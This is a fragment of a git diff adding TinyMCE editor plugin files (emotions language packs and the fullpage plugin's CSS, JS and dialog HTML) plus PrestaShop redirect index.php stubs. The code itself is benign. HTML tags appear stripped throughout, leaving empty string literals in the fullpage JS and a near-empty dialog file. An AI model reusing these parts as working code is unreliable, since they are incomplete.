r\u0103ng",kiss:"N\u1ee5 h\u00f4n",innocent:"Ng\u00e2y th\u01a1",frown:"Cau m\u00e0y","foot_in_mouth":"L\u1ee1 l\u1eddi",embarassed:"X\u1ea5u h\u1ed5"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/emotions/langs/zh-cn_dlg.js b/js/tiny_mce2/plugins/emotions/langs/zh-cn_dlg.js new file mode 100755 index 0000000..1dece2c --- /dev/null +++ b/js/tiny_mce2/plugins/emotions/langs/zh-cn_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('zh-cn.emotions_dlg',{cry:"\u54ed",cool:"\u9177",desc:"\u8868\u60c5",title:"\u63d2\u5165\u8868\u60c5",yell:"\u53eb\u558a",wink:"\u7728\u773c",undecided:"\u72b9\u8c6b","tongue_out":"\u5410\u820c\u5934",surprised:"\u60ca\u8bb6",smile:"\u5fae\u7b11",sealed:"\u4fdd\u5bc6","money_mouth":"\u53d1\u8d22",laughing:"\u5927\u7b11",kiss:"\u543b",innocent:"\u5929\u771f",frown:"\u76b1\u7709","foot_in_mouth":"\u8822\u8bdd",embarassed:"\u5c34\u5c2c"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/emotions/langs/zh-tw_dlg.js b/js/tiny_mce2/plugins/emotions/langs/zh-tw_dlg.js new file mode 100755 index 0000000..4b670b0 --- /dev/null +++ b/js/tiny_mce2/plugins/emotions/langs/zh-tw_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('zh-tw.emotions_dlg',{cry:"\u597d\u60f3\u54ed",cool:"\u9177\u554a\uff01",desc:"\u8868\u60c5",title:"\u4f7f\u7528\u8868\u60c5\u7b26\u865f",yell:"\u554a\u554a\u554a\u554a\uff01",wink:"Wink\uff01",undecided:"\u597d\u7336\u8c6b","tongue_out":"\u5566~",surprised:"\u7d66\u4f60\u4e00\u500b\u9a5a\u559c\uff01",smile:"\u5fae\u7b11",sealed:"(\u4e0d\u80fd\u8aaa)","money_mouth":"\u9322\u9322\u9322",laughing:"\u54c8\u54c8",kiss:"\u89aa\u4e00\u500b",innocent:"\u88dd\u7121\u8f9c",frown:"\u7709\u982d\u6df1\u9396","foot_in_mouth":"\u5931\u8a00",embarassed:"\u597d\u5c37\u5c2c\u2026"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/fullpage/css/fullpage.css b/js/tiny_mce2/plugins/fullpage/css/fullpage.css new file mode 100755 index 0000000..28b721f --- /dev/null +++ b/js/tiny_mce2/plugins/fullpage/css/fullpage.css @@ -0,0 +1,143 @@ +/* Hide the advanced tab */ +#advanced_tab { + display: none; +} + +#metatitle, #metakeywords, #metadescription, #metaauthor, #metacopyright { + width: 280px; +} + +#doctype, #docencoding { + width: 200px; +} + +#langcode { + width: 30px; +} + +#bgimage { + width: 220px; +} + +#fontface { + width: 240px; +} + +#leftmargin, #rightmargin, #topmargin, #bottommargin { + width: 50px; +} + +.panel_wrapper div.current { + height: 400px; +} + +#stylesheet, #style { + width: 240px; +} + +#doctypes { + width: 200px; +} + +/* Head list classes */ + +.headlistwrapper { + width: 100%; +} + +.selected { + border: 1px solid #0A246A; + background-color: #B6BDD2; +} + +.toolbar { + width: 100%; +} + +#headlist { + width: 100%; + margin-top: 3px; + font-size: 11px; +} + +#info, #title_element, #meta_element, #script_element, #style_element, #base_element, #link_element, #comment_element, #unknown_element { + display: none; +} + +#addmenu { + position: absolute; + border: 1px solid gray; + display: none; + z-index: 100; + background-color: white; +} + +#addmenu a { + display: block; + width: 100%; + line-height: 20px; + text-decoration: none; + background-color: white; +} + +#addmenu a:hover { + background-color: #B6BDD2; + color: black; +} + +#addmenu span { + padding-left: 10px; + padding-right: 10px; +} + +#updateElementPanel { + display: none; +} + +#script_element .panel_wrapper div.current { + height: 108px; +} + +#style_element .panel_wrapper div.current { + height: 108px; +} + +#link_element .panel_wrapper div.current { + height: 140px; +} + +#element_script_value { + width: 100%; + height: 100px; +} + +#element_comment_value { + width: 100%; + height: 120px; +} + +#element_style_value { + width: 100%; + height: 100px; +} + +#element_title, #element_script_src, #element_meta_name, #element_meta_content, #element_base_href, #element_link_href, #element_link_title { + width: 250px; +} + +.updateElementButton { + margin-top: 3px; +} + +/* MSIE specific styles */ + +* html .addbutton, * html .removebutton, * html .moveupbutton, * html .movedownbutton { + width: 22px; + height: 22px; +} + +textarea { + height: 55px; +} + +.panel_wrapper div.current {height:420px;} \ No newline at end of file diff --git a/js/tiny_mce2/plugins/fullpage/css/index.php b/js/tiny_mce2/plugins/fullpage/css/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce2/plugins/fullpage/css/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/fullpage/editor_plugin.js b/js/tiny_mce2/plugins/fullpage/editor_plugin.js new file mode 100755 index 0000000..dcf7602 --- /dev/null +++ b/js/tiny_mce2/plugins/fullpage/editor_plugin.js @@ -0,0 +1 @@ +(function(){var b=tinymce.each,a=tinymce.html.Node;tinymce.create("tinymce.plugins.FullPagePlugin",{init:function(c,d){var e=this;e.editor=c;c.addCommand("mceFullPageProperties",function(){c.windowManager.open({file:d+"/fullpage.htm",width:430+parseInt(c.getLang("fullpage.delta_width",0)),height:495+parseInt(c.getLang("fullpage.delta_height",0)),inline:1},{plugin_url:d,data:e._htmlToData()})});c.addButton("fullpage",{title:"fullpage.desc",cmd:"mceFullPageProperties"});c.onBeforeSetContent.add(e._setContent,e);c.onGetContent.add(e._getContent,e)},getInfo:function(){return{longname:"Fullpage",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/fullpage",version:tinymce.majorVersion+"."+tinymce.minorVersion}},_htmlToData:function(){var f=this._parseHeader(),h={},c,i,g,e=this.editor;function d(l,j){var k=l.attr(j);return k||""}h.fontface=e.getParam("fullpage_default_fontface","");h.fontsize=e.getParam("fullpage_default_fontsize","");i=f.firstChild;if(i.type==7){h.xml_pi=true;g=/encoding="([^"]+)"/.exec(i.value);if(g){h.docencoding=g[1]}}i=f.getAll("#doctype")[0];if(i){h.doctype=""}i=f.getAll("title")[0];if(i&&i.firstChild){h.metatitle=i.firstChild.value}b(f.getAll("meta"),function(m){var k=m.attr("name"),j=m.attr("http-equiv"),l;if(k){h["meta"+k.toLowerCase()]=m.attr("content")}else{if(j=="Content-Type"){l=/charset\s*=\s*(.*)\s*/gi.exec(m.attr("content"));if(l){h.docencoding=l[1]}}}});i=f.getAll("html")[0];if(i){h.langcode=d(i,"lang")||d(i,"xml:lang")}i=f.getAll("link")[0];if(i&&i.attr("rel")=="stylesheet"){h.stylesheet=i.attr("href")}i=f.getAll("body")[0];if(i){h.langdir=d(i,"dir");h.style=d(i,"style");h.visited_color=d(i,"vlink");h.link_color=d(i,"link");h.active_color=d(i,"alink")}return h},_dataToHtml:function(g){var f,d,h,j,k,e=this.editor.dom;function c(n,l,m){n.attr(l,m?m:undefined)}function i(l){if(d.firstChild){d.insert(l,d.firstChild)}else{d.append(l)}}f=this._parseHeader();d=f.getAll("head")[0];if(!d){j=f.getAll("html")[0];d=new a("head",1);if(j.firstChild){j.insert(d,j.firstChild,true)}else{j.append(d)}}j=f.firstChild;if(g.xml_pi){k='version="1.0"';if(g.docencoding){k+=' encoding="'+g.docencoding+'"'}if(j.type!=7){j=new a("xml",7);f.insert(j,f.firstChild,true)}j.value=k}else{if(j&&j.type==7){j.remove()}}j=f.getAll("#doctype")[0];if(g.doctype){if(!j){j=new a("#doctype",10);if(g.xml_pi){f.insert(j,f.firstChild)}else{i(j)}}j.value=g.doctype.substring(9,g.doctype.length-1)}else{if(j){j.remove()}}j=f.getAll("title")[0];if(g.metatitle){if(!j){j=new a("title",1);j.append(new a("#text",3)).value=g.metatitle;i(j)}}if(g.docencoding){j=null;b(f.getAll("meta"),function(l){if(l.attr("http-equiv")=="Content-Type"){j=l}});if(!j){j=new a("meta",1);j.attr("http-equiv","Content-Type");j.shortEnded=true;i(j)}j.attr("content","text/html; charset="+g.docencoding)}b("keywords,description,author,copyright,robots".split(","),function(m){var l=f.getAll("meta"),n,p,o=g["meta"+m];for(n=0;n"))},_parseHeader:function(){return new tinymce.html.DomParser({validate:false,root_name:"#document"}).parse(this.head)},_setContent:function(g,d){var m=this,i,c,h=d.content,f,l="",e=m.editor.dom,j;function k(n){return n.replace(/<\/?[A-Z]+/g,function(o){return o.toLowerCase()})}if(d.format=="raw"&&m.head){return}if(d.source_view&&g.getParam("fullpage_hide_in_source_view")){return}h=h.replace(/<(\/?)BODY/gi,"<$1body");i=h.indexOf("",i);m.head=k(h.substring(0,i+1));c=h.indexOf("\n"}f=m._parseHeader();b(f.getAll("style"),function(n){if(n.firstChild){l+=n.firstChild.value}});j=f.getAll("body")[0];if(j){e.setAttribs(m.editor.getBody(),{style:j.attr("style")||"",dir:j.attr("dir")||"",vLink:j.attr("vlink")||"",link:j.attr("link")||"",aLink:j.attr("alink")||""})}e.remove("fullpage_styles");if(l){e.add(m.editor.getDoc().getElementsByTagName("head")[0],"style",{id:"fullpage_styles"},l);j=e.get("fullpage_styles");if(j.styleSheet){j.styleSheet.cssText=l}}},_getDefaultHeader:function(){var f="",c=this.editor,e,d="";if(c.getParam("fullpage_default_xml_pi")){f+='\n'}f+=c.getParam("fullpage_default_doctype",'');f+="\n\n\n";if(e=c.getParam("fullpage_default_title")){f+=""+e+"\n"}if(e=c.getParam("fullpage_default_encoding")){f+='\n'}if(e=c.getParam("fullpage_default_font_family")){d+="font-family: "+e+";"}if(e=c.getParam("fullpage_default_font_size")){d+="font-size: "+e+";"}if(e=c.getParam("fullpage_default_text_color")){d+="color: "+e+";"}f+="\n\n";return f},_getContent:function(d,e){var c=this;if(!e.source_view||!d.getParam("fullpage_hide_in_source_view")){e.content=tinymce.trim(c.head)+"\n"+tinymce.trim(e.content)+"\n"+tinymce.trim(c.foot)}}});tinymce.PluginManager.add("fullpage",tinymce.plugins.FullPagePlugin)})(); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/fullpage/editor_plugin_src.js b/js/tiny_mce2/plugins/fullpage/editor_plugin_src.js new file mode 100755 index 0000000..8b49c44 --- /dev/null +++ b/js/tiny_mce2/plugins/fullpage/editor_plugin_src.js @@ -0,0 +1,405 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + var each = tinymce.each, Node = tinymce.html.Node; + + tinymce.create('tinymce.plugins.FullPagePlugin', { + init : function(ed, url) { + var t = this; + + t.editor = ed; + + // Register commands + ed.addCommand('mceFullPageProperties', function() { + ed.windowManager.open({ + file : url + '/fullpage.htm', + width : 430 + parseInt(ed.getLang('fullpage.delta_width', 0)), + height : 495 + parseInt(ed.getLang('fullpage.delta_height', 0)), + inline : 1 + }, { + plugin_url : url, + data : t._htmlToData() + }); + }); + + // Register buttons + ed.addButton('fullpage', {title : 'fullpage.desc', cmd : 'mceFullPageProperties'}); + + ed.onBeforeSetContent.add(t._setContent, t); + ed.onGetContent.add(t._getContent, t); + }, + + getInfo : function() { + return { + longname : 'Fullpage', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/fullpage', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + }, + + // Private plugin internal methods + + _htmlToData : function() { + var headerFragment = this._parseHeader(), data = {}, nodes, elm, matches, editor = this.editor; + + function getAttr(elm, name) { + var value = elm.attr(name); + + return value || ''; + }; + + // Default some values + data.fontface = editor.getParam("fullpage_default_fontface", ""); + data.fontsize = editor.getParam("fullpage_default_fontsize", ""); + + // Parse XML PI + elm = headerFragment.firstChild; + if (elm.type == 7) { + data.xml_pi = true; + matches = /encoding="([^"]+)"/.exec(elm.value); + if (matches) + data.docencoding = matches[1]; + } + + // Parse doctype + elm = headerFragment.getAll('#doctype')[0]; + if (elm) + data.doctype = '"; + + // Parse title element + elm = headerFragment.getAll('title')[0]; + if (elm && elm.firstChild) { + data.metatitle = elm.firstChild.value; + } + + // Parse meta elements + each(headerFragment.getAll('meta'), function(meta) { + var name = meta.attr('name'), httpEquiv = meta.attr('http-equiv'), matches; + + if (name) + data['meta' + name.toLowerCase()] = meta.attr('content'); + else if (httpEquiv == "Content-Type") { + matches = /charset\s*=\s*(.*)\s*/gi.exec(meta.attr('content')); + + if (matches) + data.docencoding = matches[1]; + } + }); + + // Parse html attribs + elm = headerFragment.getAll('html')[0]; + if (elm) + data.langcode = getAttr(elm, 'lang') || getAttr(elm, 'xml:lang'); + + // Parse stylesheet + elm = headerFragment.getAll('link')[0]; + if (elm && elm.attr('rel') == 'stylesheet') + data.stylesheet = elm.attr('href'); + + // Parse body parts + elm = headerFragment.getAll('body')[0]; + if (elm) { + data.langdir = getAttr(elm, 'dir'); + data.style = getAttr(elm, 'style'); + data.visited_color = getAttr(elm, 'vlink'); + data.link_color = getAttr(elm, 'link'); + data.active_color = getAttr(elm, 'alink'); + } + + return data; + }, + + _dataToHtml : function(data) { + var headerFragment, headElement, html, elm, value, dom = this.editor.dom; + + function setAttr(elm, name, value) { + elm.attr(name, value ? value : undefined); + }; + + function addHeadNode(node) { + if (headElement.firstChild) + headElement.insert(node, headElement.firstChild); + else + headElement.append(node); + }; + + headerFragment = this._parseHeader(); + headElement = headerFragment.getAll('head')[0]; + if (!headElement) { + elm = headerFragment.getAll('html')[0]; + headElement = new Node('head', 1); + + if (elm.firstChild) + elm.insert(headElement, elm.firstChild, true); + else + elm.append(headElement); + } + + // Add/update/remove XML-PI + elm = headerFragment.firstChild; + if (data.xml_pi) { + value = 'version="1.0"'; + + if (data.docencoding) + value += ' encoding="' + data.docencoding + '"'; + + if (elm.type != 7) { + elm = new Node('xml', 7); + headerFragment.insert(elm, headerFragment.firstChild, true); + } + + elm.value = value; + } else if (elm && elm.type == 7) + elm.remove(); + + // Add/update/remove doctype + elm = headerFragment.getAll('#doctype')[0]; + if (data.doctype) { + if (!elm) { + elm = new Node('#doctype', 10); + + if (data.xml_pi) + headerFragment.insert(elm, headerFragment.firstChild); + else + addHeadNode(elm); + } + + elm.value = data.doctype.substring(9, data.doctype.length - 1); + } else if (elm) + elm.remove(); + + // Add/update/remove title + elm = headerFragment.getAll('title')[0]; + if (data.metatitle) { + if (!elm) { + elm = new Node('title', 1); + elm.append(new Node('#text', 3)).value = data.metatitle; + addHeadNode(elm); + } + } + + // Add meta encoding + if (data.docencoding) { + elm = null; + each(headerFragment.getAll('meta'), function(meta) { + if (meta.attr('http-equiv') == 'Content-Type') + elm = meta; + }); + + if (!elm) { + elm = new Node('meta', 1); + elm.attr('http-equiv', 'Content-Type'); + elm.shortEnded = true; + addHeadNode(elm); + } + + elm.attr('content', 'text/html; charset=' + data.docencoding); + } + + // Add/update/remove meta + each('keywords,description,author,copyright,robots'.split(','), function(name) { + var nodes = headerFragment.getAll('meta'), i, meta, value = data['meta' + name]; + + for (i = 0; i < nodes.length; i++) { + meta = nodes[i]; + + if (meta.attr('name') == name) { + if (value) + meta.attr('content', value); + else + meta.remove(); + + return; + } + } + + if (value) { + elm = new Node('meta', 1); + elm.attr('name', name); + elm.attr('content', value); + elm.shortEnded = true; + + addHeadNode(elm); + } + }); + + // Add/update/delete link + elm = headerFragment.getAll('link')[0]; + if (elm && elm.attr('rel') == 'stylesheet') { + if (data.stylesheet) + elm.attr('href', data.stylesheet); + else + elm.remove(); + } else if (data.stylesheet) { + elm = new Node('link', 1); + elm.attr({ + rel : 'stylesheet', + text : 'text/css', + href : data.stylesheet + }); + elm.shortEnded = true; + + addHeadNode(elm); + } + + // Update body attributes + elm = headerFragment.getAll('body')[0]; + if (elm) { + setAttr(elm, 'dir', data.langdir); + setAttr(elm, 'style', data.style); + setAttr(elm, 'vlink', data.visited_color); + setAttr(elm, 'link', data.link_color); + setAttr(elm, 'alink', data.active_color); + + // Update iframe body as well + dom.setAttribs(this.editor.getBody(), { + style : data.style, + dir : data.dir, + vLink : data.visited_color, + link : data.link_color, + aLink : data.active_color + }); + } + + // Set html attributes + elm = headerFragment.getAll('html')[0]; + if (elm) { + setAttr(elm, 'lang', data.langcode); + setAttr(elm, 'xml:lang', data.langcode); + } + + // Serialize header fragment and crop away body part + html = new tinymce.html.Serializer({ + validate: false, + indent: true, + apply_source_formatting : true, + indent_before: 'head,html,body,meta,title,script,link,style', + indent_after: 'head,html,body,meta,title,script,link,style' + }).serialize(headerFragment); + + this.head = html.substring(0, html.indexOf('')); + }, + + _parseHeader : function() { + // Parse the contents with a DOM parser + return new tinymce.html.DomParser({ + validate: false, + root_name: '#document' + }).parse(this.head); + }, + + _setContent : function(ed, o) { + var self = this, startPos, endPos, content = o.content, headerFragment, styles = '', dom = self.editor.dom, elm; + + function low(s) { + return s.replace(/<\/?[A-Z]+/g, function(a) { + return a.toLowerCase(); + }) + }; + + // Ignore raw updated if we already have a head, this will fix issues with undo/redo keeping the head/foot separate + if (o.format == 'raw' && self.head) + return; + + if (o.source_view && ed.getParam('fullpage_hide_in_source_view')) + return; + + // Parse out head, body and footer + content = content.replace(/<(\/?)BODY/gi, '<$1body'); + startPos = content.indexOf('', startPos); + self.head = low(content.substring(0, startPos + 1)); + + endPos = content.indexOf('\n'; + + header += editor.getParam('fullpage_default_doctype', ''); + header += '\n\n\n'; + + if (value = editor.getParam('fullpage_default_title')) + header += '' + value + '\n'; + + if (value = editor.getParam('fullpage_default_encoding')) + header += '\n'; + + if (value = editor.getParam('fullpage_default_font_family')) + styles += 'font-family: ' + value + ';'; + + if (value = editor.getParam('fullpage_default_font_size')) + styles += 'font-size: ' + value + ';'; + + if (value = editor.getParam('fullpage_default_text_color')) + styles += 'color: ' + value + ';'; + + header += '\n\n'; + + return header; + }, + + _getContent : function(ed, o) { + var self = this; + + if (!o.source_view || !ed.getParam('fullpage_hide_in_source_view')) + o.content = tinymce.trim(self.head) + '\n' + tinymce.trim(o.content) + '\n' + tinymce.trim(self.foot); + } + }); + + // Register plugin + tinymce.PluginManager.add('fullpage', tinymce.plugins.FullPagePlugin); +})(); diff --git a/js/tiny_mce2/plugins/fullpage/fullpage.htm b/js/tiny_mce2/plugins/fullpage/fullpage.htm new file mode 100755 index 0000000..200f2b8 --- /dev/null +++ b/js/tiny_mce2/plugins/fullpage/fullpage.htm @@ -0,0 +1,259 @@ + + + + {#fullpage_dlg.title} + + + + + + + +
    + + +
    +
    +
    + {#fullpage_dlg.meta_props} + + + + + + + + + + + + + + + + + + + + + + + + + + +
     
     
     
     
     
      + +
    +
    + +
    + {#fullpage_dlg.langprops} + + + + + + + + + + + + + + + + + + + + + + +
    + +
      + +
     
    + +
     
    +
    +
    + +
    +
    + {#fullpage_dlg.appearance_textprops} + + + + + + + + + + + + + + + + +
    + +
    + +
    + + + + + +
     
    +
    +
    + +
    + {#fullpage_dlg.appearance_bgprops} + + + + + + + + + + +
    + + + + + +
     
    +
    + + + + + +
     
    +
    +
    + +
    + {#fullpage_dlg.appearance_marginprops} + + + + + + + + + + + + + + +
    +
    + +
    + {#fullpage_dlg.appearance_linkprops} + + + + + + + + + + + + + + + + + +
    + + + + + +
    +
    + + + + + +
     
    +
    + + + + + +
     
    +
      
    +
    + +
    + {#fullpage_dlg.appearance_style} + + + + + + + + + + +
    + + + + +
     
    +
    +
    +
    + +
    + + +
    +
    + + diff --git a/js/tiny_mce2/plugins/fullpage/index.php b/js/tiny_mce2/plugins/fullpage/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce2/plugins/fullpage/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/fullpage/js/fullpage.js b/js/tiny_mce2/plugins/fullpage/js/fullpage.js new file mode 100755 index 0000000..66eec2d --- /dev/null +++ b/js/tiny_mce2/plugins/fullpage/js/fullpage.js @@ -0,0 +1,232 @@ +/** + * fullpage.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + tinyMCEPopup.requireLangPack(); + + var defaultDocTypes = + 'XHTML 1.0 Transitional=,' + + 'XHTML 1.0 Frameset=,' + + 'XHTML 1.0 Strict=,' + + 'XHTML 1.1=,' + + 'HTML 4.01 Transitional=,' + + 'HTML 4.01 Strict=,' + + 'HTML 4.01 Frameset='; + + var defaultEncodings = + 'Western european (iso-8859-1)=iso-8859-1,' + + 'Central European (iso-8859-2)=iso-8859-2,' + + 'Unicode (UTF-8)=utf-8,' + + 'Chinese traditional (Big5)=big5,' + + 'Cyrillic (iso-8859-5)=iso-8859-5,' + + 'Japanese (iso-2022-jp)=iso-2022-jp,' + + 'Greek (iso-8859-7)=iso-8859-7,' + + 'Korean (iso-2022-kr)=iso-2022-kr,' + + 'ASCII (us-ascii)=us-ascii'; + + var defaultFontNames = 'Arial=arial,helvetica,sans-serif;Courier New=courier new,courier,monospace;Georgia=georgia,times new roman,times,serif;Tahoma=tahoma,arial,helvetica,sans-serif;Times New Roman=times new roman,times,serif;Verdana=verdana,arial,helvetica,sans-serif;Impact=impact;WingDings=wingdings'; + var defaultFontSizes = '10px,11px,12px,13px,14px,15px,16px'; + + function setVal(id, value) { + var elm = document.getElementById(id); + + if (elm) { + value = value || ''; + + if (elm.nodeName == "SELECT") + selectByValue(document.forms[0], id, value); + else if (elm.type == "checkbox") + elm.checked = !!value; + else + elm.value = value; + } + }; + + function getVal(id) { + var elm = document.getElementById(id); + + if (elm.nodeName == "SELECT") + return elm.options[elm.selectedIndex].value; + + if (elm.type == "checkbox") + return elm.checked; + + return elm.value; + }; + + window.FullPageDialog = { + changedStyle : function() { + var val, styles = tinyMCEPopup.editor.dom.parseStyle(getVal('style')); + + setVal('fontface', styles['font-face']); + setVal('fontsize', styles['font-size']); + setVal('textcolor', styles['color']); + + if (val = styles['background-image']) + setVal('bgimage', val.replace(new RegExp("url\\('?([^']*)'?\\)", 'gi'), "$1")); + else + setVal('bgimage', ''); + + setVal('bgcolor', styles['background-color']); + + // Reset margin form elements + setVal('topmargin', ''); + setVal('rightmargin', ''); + setVal('bottommargin', ''); + setVal('leftmargin', ''); + + // Expand margin + if (val = styles['margin']) { + val = val.split(' '); + styles['margin-top'] = val[0] || ''; + styles['margin-right'] = val[1] || val[0] || ''; + styles['margin-bottom'] = val[2] || val[0] || ''; + styles['margin-left'] = val[3] || val[0] || ''; + } + + if (val = styles['margin-top']) + setVal('topmargin', val.replace(/px/, '')); + + if (val = styles['margin-right']) + setVal('rightmargin', val.replace(/px/, '')); + + if (val = styles['margin-bottom']) + setVal('bottommargin', val.replace(/px/, '')); + + if (val = styles['margin-left']) + setVal('leftmargin', val.replace(/px/, '')); + + updateColor('bgcolor_pick', 'bgcolor'); + updateColor('textcolor_pick', 'textcolor'); + }, + + changedStyleProp : function() { + var val, dom = tinyMCEPopup.editor.dom, styles = dom.parseStyle(getVal('style')); + + styles['font-face'] = getVal('fontface'); + styles['font-size'] = getVal('fontsize'); + styles['color'] = getVal('textcolor'); + styles['background-color'] = getVal('bgcolor'); + + if (val = getVal('bgimage')) + styles['background-image'] = "url('" + val + "')"; + else + styles['background-image'] = ''; + + delete styles['margin']; + + if (val = getVal('topmargin')) + styles['margin-top'] = val + "px"; + else + styles['margin-top'] = ''; + + if (val = getVal('rightmargin')) + styles['margin-right'] = val + "px"; + else + styles['margin-right'] = ''; + + if (val = getVal('bottommargin')) + styles['margin-bottom'] = val + "px"; + else + styles['margin-bottom'] = ''; + + if (val = getVal('leftmargin')) + styles['margin-left'] = val + "px"; + else + styles['margin-left'] = ''; + + // Serialize, parse and reserialize this will compress redundant styles + setVal('style', dom.serializeStyle(dom.parseStyle(dom.serializeStyle(styles)))); + this.changedStyle(); + }, + + update : function() { + var data = {}; + + tinymce.each(tinyMCEPopup.dom.select('select,input,textarea'), function(node) { + data[node.id] = getVal(node.id); + }); + + tinyMCEPopup.editor.plugins.fullpage._dataToHtml(data); + tinyMCEPopup.close(); + } + }; + + function init() { + var form = document.forms[0], i, item, list, editor = tinyMCEPopup.editor; + + // Setup doctype select box + list = editor.getParam("fullpage_doctypes", defaultDocTypes).split(','); + for (i = 0; i < list.length; i++) { + item = list[i].split('='); + + if (item.length > 1) + addSelectValue(form, 'doctype', item[0], item[1]); + } + + // Setup fonts select box + list = editor.getParam("fullpage_fonts", defaultFontNames).split(';'); + for (i = 0; i < list.length; i++) { + item = list[i].split('='); + + if (item.length > 1) + addSelectValue(form, 'fontface', item[0], item[1]); + } + + // Setup fontsize select box + list = editor.getParam("fullpage_fontsizes", defaultFontSizes).split(','); + for (i = 0; i < list.length; i++) + addSelectValue(form, 'fontsize', list[i], list[i]); + + // Setup encodings select box + list = editor.getParam("fullpage_encodings", defaultEncodings).split(','); + for (i = 0; i < list.length; i++) { + item = list[i].split('='); + + if (item.length > 1) + addSelectValue(form, 'docencoding', item[0], item[1]); + } + + // Setup color pickers + document.getElementById('bgcolor_pickcontainer').innerHTML = getColorPickerHTML('bgcolor_pick','bgcolor'); + document.getElementById('link_color_pickcontainer').innerHTML = getColorPickerHTML('link_color_pick','link_color'); + document.getElementById('visited_color_pickcontainer').innerHTML = getColorPickerHTML('visited_color_pick','visited_color'); + document.getElementById('active_color_pickcontainer').innerHTML = getColorPickerHTML('active_color_pick','active_color'); + document.getElementById('textcolor_pickcontainer').innerHTML = getColorPickerHTML('textcolor_pick','textcolor'); + document.getElementById('stylesheet_browsercontainer').innerHTML = getBrowserHTML('stylesheetbrowser','stylesheet','file','fullpage'); + document.getElementById('bgimage_pickcontainer').innerHTML = getBrowserHTML('bgimage_browser','bgimage','image','fullpage'); + + // Resize some elements + if (isVisible('stylesheetbrowser')) + document.getElementById('stylesheet').style.width = '220px'; + + if (isVisible('link_href_browser')) + document.getElementById('element_link_href').style.width = '230px'; + + if (isVisible('bgimage_browser')) + document.getElementById('bgimage').style.width = '210px'; + + // Update form + tinymce.each(tinyMCEPopup.getWindowArg('data'), function(value, key) { + setVal(key, value); + }); + + FullPageDialog.changedStyle(); + + // Update colors + updateColor('textcolor_pick', 'textcolor'); + updateColor('bgcolor_pick', 'bgcolor'); + updateColor('visited_color_pick', 'visited_color'); + updateColor('active_color_pick', 'active_color'); + updateColor('link_color_pick', 'link_color'); + }; + + tinyMCEPopup.onInit.add(init); +})(); diff --git a/js/tiny_mce2/plugins/fullpage/js/index.php b/js/tiny_mce2/plugins/fullpage/js/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce2/plugins/fullpage/js/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/fullpage/langs/ar_dlg.js b/js/tiny_mce2/plugins/fullpage/langs/ar_dlg.js new file mode 100755 index 0000000..634642b --- /dev/null +++ b/js/tiny_mce2/plugins/fullpage/langs/ar_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ar.fullpage_dlg',{title:"Document properties","meta_tab":"\u0639\u0627\u0645","appearance_tab":"Appearance","advanced_tab":"Advanced","meta_props":"Meta information",langprops:"Language and encoding","meta_title":"Title","meta_keywords":"Keywords","meta_description":"Description","meta_robots":"Robots",doctypes:"Doctype",langcode:"Language code",langdir:"Language direction",ltr:"Left to right",rtl:"Right to left","xml_pi":"XML declaration",encoding:"Character encoding","appearance_bgprops":"Background properties","appearance_marginprops":"Body margins","appearance_linkprops":"Link colors","appearance_textprops":"Text properties",bgcolor:"Background color",bgimage:"Background image","left_margin":"Left margin","right_margin":"Right margin","top_margin":"Top margin","bottom_margin":"Bottom margin","text_color":"Text color","font_size":"Font size","font_face":"Font face","link_color":"Link color","hover_color":"Hover color","visited_color":"Visited color","active_color":"Active color",textcolor:"Color",fontsize:"Font size",fontface:"Font family","meta_index_follow":"Index and follow the links","meta_index_nofollow":"Index and don\'t follow the links","meta_noindex_follow":"Do not index but follow the links","meta_noindex_nofollow":"Do not index and don\\\'t follow the links","appearance_style":"Stylesheet and style properties",stylesheet:"Stylesheet",style:"Style",author:"Author",copyright:"Copyright",add:"Add new element",remove:"Remove selected element",moveup:"Move selected element up",movedown:"Move selected element down","head_elements":"Head 